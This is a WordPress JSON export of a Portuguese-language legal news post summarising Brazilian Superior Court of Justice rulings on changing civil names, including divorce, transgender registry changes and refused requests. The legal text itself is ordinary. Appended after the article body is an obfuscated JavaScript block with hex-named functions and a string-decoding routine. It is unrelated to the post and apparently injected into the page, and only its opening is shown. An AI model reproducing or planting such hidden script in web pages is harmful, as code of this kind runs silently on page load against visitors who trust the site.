{"id":524,"date":"2018-11-12T12:24:53","date_gmt":"2018-11-12T14:24:53","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/registro-civil-interpretacao-flexivel-privilegia-o-direito-de-personalidade\/"},"modified":"2018-11-12T12:24:53","modified_gmt":"2018-11-12T14:24:53","slug":"registro-civil-interpretacao-flexivel-privilegia-o-direito-de-personalidade","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/registro-civil-interpretacao-flexivel-privilegia-o-direito-de-personalidade\/","title":{"rendered":"Registro civil: interpreta\u00e7\u00e3o flex\u00edvel privilegia o direito de personalidade"},"content":{"rendered":"<div class=\"entry-content\">\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O nome civil integra a personalidade, pois individualiza o ser humano e o identifica nas rela&ccedil;&otilde;es sociais. Ele surge com o registro e acompanha a pessoa por toda a vida, com reflexos at&eacute; ap&oacute;s a morte. Por isso, a regra geral no direito brasileiro &eacute; a imutabilidade do nome civil.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Altera&ccedil;&otilde;es, no entanto, podem ocorrer, desde que tenham amparo nas exce&ccedil;&otilde;es da lei, a qual exige condi&ccedil;&otilde;es como a maioridade civil e o n&atilde;o preju&iacute;zo dos apelidos de fam&iacute;lia, al&eacute;m da hip&oacute;tese de justo motivo acolhido pelo Judici&aacute;rio, ouvido o Minist&eacute;rio P&uacute;blico.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Pela relev&acirc;ncia do papel do nome na forma&ccedil;&atilde;o e na consolida&ccedil;&atilde;o da personalidade, o Superior Tribunal de Justi&ccedil;a (STJ) tem adotado uma posi&ccedil;&atilde;o flex&iacute;vel na an&aacute;lise das particularidades de cada caso.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Segundo o ministro Paulo de Tarso Sanseverino, a supera&ccedil;&atilde;o da rigidez do registro &eacute; fruto da &ldquo;ado&ccedil;&atilde;o de interpreta&ccedil;&atilde;o mais condizente com o respeito &agrave; dignidade da pessoa humana, fundamento basilar de um Estado democr&aacute;tico&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A afirma&ccedil;&atilde;o, feita no julgamento de um recurso especial de que era relator, levou a Terceira Turma a permitir a retifica&ccedil;&atilde;o do registro de nascimento de um rapaz, excluindo do seu nome civil o patron&iacute;mico de origem paterna e incluindo o da av&oacute; materna. O recorrente n&atilde;o mantinha nenhum v&iacute;nculo com o pai biol&oacute;gico e pleiteava a altera&ccedil;&atilde;o por representar melhor a sua realidade familiar, uma vez que foi criado pela m&atilde;e e pela av&oacute;.<\/p>\n<p style=\"text-align: justify;\"><strong>Posse prolongada<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nesse mesmo sentido, a Quarta Turma deu provimento ao Recurso Especial 1.217.166, interposto por uma mulher que pedia a mudan&ccedil;a do prenome com que foi registrada, por ser conhecida em seu meio social e familiar, desde a inf&acirc;ncia, por um nome diferente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na a&ccedil;&atilde;o, a autora alegou que, apesar de seu prenome n&atilde;o ser, por si s&oacute;, motivo de constrangimento, a situa&ccedil;&atilde;o lhe causava embara&ccedil;os no dia a dia, por gerar desconfian&ccedil;a e inseguran&ccedil;a nas outras pessoas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O ministro relator do recurso, Marco Buzzi, ressaltou em seu voto: &ldquo;Nos casos em que n&atilde;o se vislumbra v&iacute;cio ou inten&ccedil;&atilde;o fraudulenta, orienta a doutrina que a posse prolongada do prenome &eacute; suficiente para justificar a altera&ccedil;&atilde;o do registro civil de nascimento, visto que faz valer o direito da personalidade do indiv&iacute;duo e reflete sua vontade e integra&ccedil;&atilde;o social&rdquo;.<\/p>\n<p style=\"text-align: justify;\"><strong>Dissolu&ccedil;&atilde;o do v&iacute;nculo conjugal<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A dissolu&ccedil;&atilde;o do v&iacute;nculo conjugal tamb&eacute;m envolve, em muitos casos, a altera&ccedil;&atilde;o do registro civil. Contudo, n&atilde;o se pode impor, &agrave; revelia, a altera&ccedil;&atilde;o do sobrenome do ex-c&ocirc;njuge em caso de div&oacute;rcio, por se tratar de modifica&ccedil;&atilde;o substancial em um direito inerente &agrave; personalidade &ndash; especialmente quando o uso desse nome est&aacute; consolidado pelo tempo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com esse entendimento, a Terceira Turma negou provimento ao recurso de um homem que queria, em a&ccedil;&atilde;o de div&oacute;rcio, &agrave; revelia da ex-mulher, exigir que ela deixasse de usar o sobrenome dele, ap&oacute;s 35 anos de casamento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para a relatora, ministra Nancy Andrighi, &eacute; inadmiss&iacute;vel esse tipo de mudan&ccedil;a quando estiverem ausentes as circunst&acirc;ncias que a justifiquem, &ldquo;especialmente quando o sobrenome se encontra incorporado e consolidado em virtude do uso cont&iacute;nuo&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;O direito ao nome, assim compreendido como o prenome e o patron&iacute;mico, &eacute; um dos elementos estruturantes dos direitos da personalidade e da dignidade da pessoa humana, uma vez que diz respeito &agrave; pr&oacute;pria identidade pessoal do indiv&iacute;duo, n&atilde;o apenas em rela&ccedil;&atilde;o a si mesmo, mas tamb&eacute;m no ambiente familiar e perante a sociedade&rdquo;, ressaltou em seu voto a ministra.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O colegiado estabeleceu ainda, em outro julgamento, que uma vi&uacute;va poderia retomar o seu nome de solteira, pois com a morte do c&ocirc;njuge tamb&eacute;m ocorre a dissolu&ccedil;&atilde;o do casamento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De forma un&acirc;nime, a Terceira Turma concluiu que impedir a retomada do nome de solteiro na hip&oacute;tese de falecimento de um dos membros do casal representaria grave viola&ccedil;&atilde;o aos direitos de personalidade, al&eacute;m de ir na dire&ccedil;&atilde;o oposta ao movimento de diminui&ccedil;&atilde;o da import&acirc;ncia social de substitui&ccedil;&atilde;o do patron&iacute;mico por ocasi&atilde;o do casamento.<\/p>\n<p style=\"text-align: justify;\"><strong>Mudan&ccedil;a ap&oacute;s o casamento<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O matrim&ocirc;nio realizado ap&oacute;s o nascimento de filho comum do casal, com mudan&ccedil;a do nome da m&atilde;e, d&aacute; direito &agrave; altera&ccedil;&atilde;o do registro civil do filho para que conste o nome atualizado dos pais. O entendimento da Terceira Turma foi firmado em a&ccedil;&atilde;o que pedia a retifica&ccedil;&atilde;o de registro de menor, nascida em 2003, cujos pais s&oacute; se casaram em 2010, ocasi&atilde;o em que a m&atilde;e adotou o sobrenome do esposo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Segundo o ministro Villas B&ocirc;as Cueva, relator, o ordenamento jur&iacute;dico brasileiro permite a altera&ccedil;&atilde;o dos registros civis em casos excepcionais, desde que as mudan&ccedil;as sejam devidamente justificadas e n&atilde;o prejudiquem terceiros. No caso analisado, o ministro entendeu que o pedido de retifica&ccedil;&atilde;o representa direito oriundo do princ&iacute;pio constitucional da dignidade humana e se sobrep&otilde;e ao interesse p&uacute;blico de imutabilidade do nome.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O ministro ressaltou que &ldquo;a seguran&ccedil;a jur&iacute;dica, que se extrai do registro, cede lugar ao dever de respeito &agrave; pr&oacute;pria individualidade do ser humano, consect&aacute;rio da sua personalidade, que se explicita, em grande parte, pelo nome com o qual o indiv&iacute;duo &eacute; reconhecido socialmente&rdquo;.<\/p>\n<p style=\"text-align: justify;\"><strong>Transexual<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda assim, a altera&ccedil;&atilde;o apenas do nome no registro civil pode ser insuficiente para atender ao princ&iacute;pio da dignidade da pessoa e &agrave;s exig&ecirc;ncias do direito de personalidade de cada indiv&iacute;duo. Em 2017, a Quarta Turma estabeleceu que, independentemente da realiza&ccedil;&atilde;o de cirurgia de adequa&ccedil;&atilde;o sexual, &eacute; poss&iacute;vel a altera&ccedil;&atilde;o do sexo constante no registro civil de transexual que comprove judicialmente essa condi&ccedil;&atilde;o. Nesses casos, a averba&ccedil;&atilde;o deve ser realizada no assentamento de nascimento original, proibida a inclus&atilde;o, ainda que sigilosa, da express&atilde;o &ldquo;transexual&rdquo;, do sexo biol&oacute;gico ou dos motivos das modifica&ccedil;&otilde;es registrais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os ministros acolheram pedido de modifica&ccedil;&atilde;o do prenome e do sexo registral de transexual que apresentou avalia&ccedil;&atilde;o psicol&oacute;gica pericial para demonstrar identifica&ccedil;&atilde;o social como mulher. Para o colegiado, o direito dos transexuais &agrave; retifica&ccedil;&atilde;o do registro n&atilde;o pode ser condicionado &agrave; realiza&ccedil;&atilde;o de cirurgia, que pode inclusive ser invi&aacute;vel do ponto de vista financeiro ou por impedimento m&eacute;dico.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No recurso especial, o relator, ministro Luis Felipe Salom&atilde;o, entendeu que &ldquo;a manuten&ccedil;&atilde;o do sexo constante no registro civil preservar&aacute; a incongru&ecirc;ncia entre os dados assentados e a identidade de g&ecirc;nero da pessoa, a qual continuar&aacute; suscet&iacute;vel a toda sorte de constrangimentos na vida civil, configurando-se flagrante atentado a direito existencial inerente &agrave; personalidade&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em mar&ccedil;o deste ano, a Terceira Turma confirmou o entendimento j&aacute; adotado pela Quarta Turma &ndash; e recentemente pelo Supremo Tribunal Federal (ADI 4.275). O ministro Paulo de Tarso Sanseverino considerou que o registro que expressa um g&ecirc;nero com o qual a pessoa n&atilde;o se identifica &eacute; socialmente falho, &ldquo;pois n&atilde;o cumpre seu papel de trazer seguran&ccedil;a &agrave;s rela&ccedil;&otilde;es jur&iacute;dicas&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em converg&ecirc;ncia com o firmado pelo tribunal, em junho &uacute;ltimo, o Conselho Nacional de Justi&ccedil;a (CNJ) publicou o Provimento 73\/2018, que possibilita aos transg&ecirc;neros maiores de 18 anos alterar seus dados independentemente de autoriza&ccedil;&atilde;o judicial pr&eacute;via ou comprova&ccedil;&atilde;o de cirurgia, a fim de adequ&aacute;-los &agrave; identidade autopercebida.<\/p>\n<p style=\"text-align: justify;\"><strong>Razoabilidade<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A falta de fundamento razo&aacute;vel, entretanto, pode ser um impeditivo para a altera&ccedil;&atilde;o do registro civil. No julgamento no Recurso Especial 1.728.039, a Terceira Turma negou, por unanimidade, recurso em que uma mulher pedia a retifica&ccedil;&atilde;o no seu registro para alterar o prenome, de Tatiane para Tatiana, alegando que assim era conhecida na cidade onde morava.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De acordo com o colegiado, faltou fundamento para afastar o princ&iacute;pio da imutabilidade do prenome e tornar poss&iacute;vel a altera&ccedil;&atilde;o da certid&atilde;o de nascimento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O relator, ministro Marco Aur&eacute;lio Bellizze, citou em seu voto v&aacute;rias das situa&ccedil;&otilde;es que possibilitam a modifica&ccedil;&atilde;o do prenome &ndash; entre elas a altera&ccedil;&atilde;o volunt&aacute;ria no primeiro ano ap&oacute;s a maioridade civil. Observou, por&eacute;m, que todas essas situa&ccedil;&otilde;es &ldquo;ou possuem previs&atilde;o legal expressa ou t&ecirc;m natureza de excepcionalidade&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A respeito da pretens&atilde;o da recorrente, de mudar o nome aos 39 anos de idade, o ministro disse n&atilde;o se verificar nenhuma circunst&acirc;ncia excepcional que a autorizasse. &ldquo;O mero desejo pessoal do indiv&iacute;duo, por si s&oacute;, isto &eacute;, sem qualquer peculiaridade, n&atilde;o justifica o afastamento do princ&iacute;pio da imutabilidade do prenome&rdquo;, concluiu.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os n&uacute;meros de alguns processos n&atilde;o foram divulgados em raz&atilde;o de segredo judicial.<\/p>\n<p style=\"text-align: justify;\"><strong>Jurisprud&ecirc;ncia<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A Secretaria de Jurisprud&ecirc;ncia do STJ tem v&aacute;rios produtos que revelam o entendimento da corte sobre quest&otilde;es relacionadas ao nome civil. A edi&ccedil;&atilde;o n&uacute;mero 80 de Jurisprud&ecirc;ncia em Tesestraz 15 teses jur&iacute;dicas sobre registros p&uacute;blicos. Clique aqui para baixar o arquivo em PDF.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em Pesquisa Pronta, foram publicadas duas pesquisas espec&iacute;ficas sobre o assunto: Altera&ccedil;&atilde;o do registro de nascimento e Altera&ccedil;&atilde;o do nome em raz&atilde;o de mudan&ccedil;a de sexo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No Informativo Jurisprud&ecirc;ncia, pelo menos tr&ecirc;s edi&ccedil;&otilde;es tratam do tema: edi&ccedil;&atilde;o 625 (&ldquo;&Eacute; inadmiss&iacute;vel a homologa&ccedil;&atilde;o de acordo extrajudicial de retifica&ccedil;&atilde;o de registro civil de menor em ju&iacute;zo sem a observ&acirc;ncia dos requisitos e procedimento legalmente institu&iacute;do para essa finalidade&rdquo;); edi&ccedil;&atilde;o 623 (&ldquo;&Eacute; imprescind&iacute;vel o consentimento de pessoa maior para o reconhecimento de filia&ccedil;&atilde;o post mortem&rdquo;); edi&ccedil;&atilde;o 608 (&ldquo;O direito dos transexuais &agrave; retifica&ccedil;&atilde;o do prenome e do sexo\/g&ecirc;nero no registro civil n&atilde;o &eacute; condicionado &agrave; exig&ecirc;ncia de realiza&ccedil;&atilde;o da cirurgia de transgenitaliza&ccedil;&atilde;o&rdquo;).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Esta not&iacute;cia refere-se ao(s) processo(s):<br \/>\n<a href=\"https:\/\/ww2.stj.jus.br\/processo\/pesquisa\/?aplicacao=processos.ea&amp;tipoPesquisa=tipoPesquisaGenerica&amp;termo=REsp%201217166\">REsp 1217166<\/a><br \/>\n<a href=\"https:\/\/ww2.stj.jus.br\/processo\/pesquisa\/?aplicacao=processos.ea&amp;tipoPesquisa=tipoPesquisaGenerica&amp;termo=%20REsp%201728039\">REsp 1728039<\/a><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return 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